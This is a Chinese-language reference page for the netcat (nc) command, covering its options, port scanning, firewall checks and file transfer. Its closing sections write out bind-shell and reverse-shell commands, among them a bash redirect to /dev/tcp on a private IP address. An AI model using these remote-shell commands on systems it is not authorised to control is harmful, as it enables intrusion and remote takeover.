linux-command/command/nc.md

124 lines
3.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

nc
===
nc是网络工具中的瑞士军刀
## 补充说明
**nc命令** 全称**netcat**用于TCP、UDP或unix域套接字(uds)的数据流操作它可以打开TCP连接发送UDP数据包监听任意TCP
和UDP端口同时也可用作做端口扫描支持IPv4和IPv6与Telnet的不同在于nc可以编写脚本。
### 语法
```shell
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>]
[-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
```
### 选项
```shell
-4 只使用IPV4
-6 只使用IPV6
-c 使用tls连接或者监听
-D 启用socket调试开关
-g <网关> # 设置路由器跃程通信网关最多可设置8个。
-G<指向器数目> # 设置来源路由指向器其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址而不通过域名服务器。
-o<输出文件> # 指定文件名称把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> # 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> # 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> # 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
```
### 实例
**TCP端口扫描**
```shell
[root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100
192.168.0.3: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.3] 80 (http) open
(UNKNOWN) [192.168.0.3] 23 (telnet) open
(UNKNOWN) [192.168.0.3] 22 (ssh) open
```
扫描192.168.0.3 的端口 范围是 1-100
**扫描UDP端口**
```shell
[root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000
```
**扫描指定端口**
```shell
[root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口
(UNKNOWN) [192.168.0.1] 80 (?) open
y //用户输入
```
查看从服务器到目的地的出站端口 443 是否被防火墙阻止
```shell
nc -vz acme-v02.api.letsencrypt.org 443 -w2
# Ncat: Version 7.50 ( https://nmap.org/ncat )
# Ncat: Connected to 23.77.214.183:443.
# Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds.
```
**文件传输**
```shell
# 接收方提前设置监听端口与要接收的文件名(文件名可自定义):
nc -lp 8888 > node.tar.gz
# 传输方发文件:
nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz
# ⚠️ 注意192.168.75.121是接收方的ip地址。
```
```shell
# 如果希望文件传输结束后自动退出,可以使用下面的命令:
nc -lp 8888 > node.tar.gz
nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz
# ⚠️ 注意:-i 表示闲置超时时间
```
**远程控制**
```shell
# 正向控制被控端主动设置监听端口及bash环境控制端连接如果有防火墙需开放端口否则会被拦截。
# 被控制端执行下面的命令:
nc -lvnp 8888 -c bash
# 控制端执行下面的命令:
nc 192.168.75.121 8888
```
```shell
# 反向控制控制端设置监听端口被控端主动连接控制端的ip及端口并提供bash环境。
# 控制端执行下面的命令:
nc -lvnp 8888
# 被控制端执行下面的命令:
nc 192.168.75.121 8888 -c bash
```
**反弹shell**
```shell
# 控制端执行下面的命令:
nc -lvnp 8888
```
```
# 被控端执行下面的命令:
bash -i &> /dev/tcp/192.168.75.121/8888 0>&1
```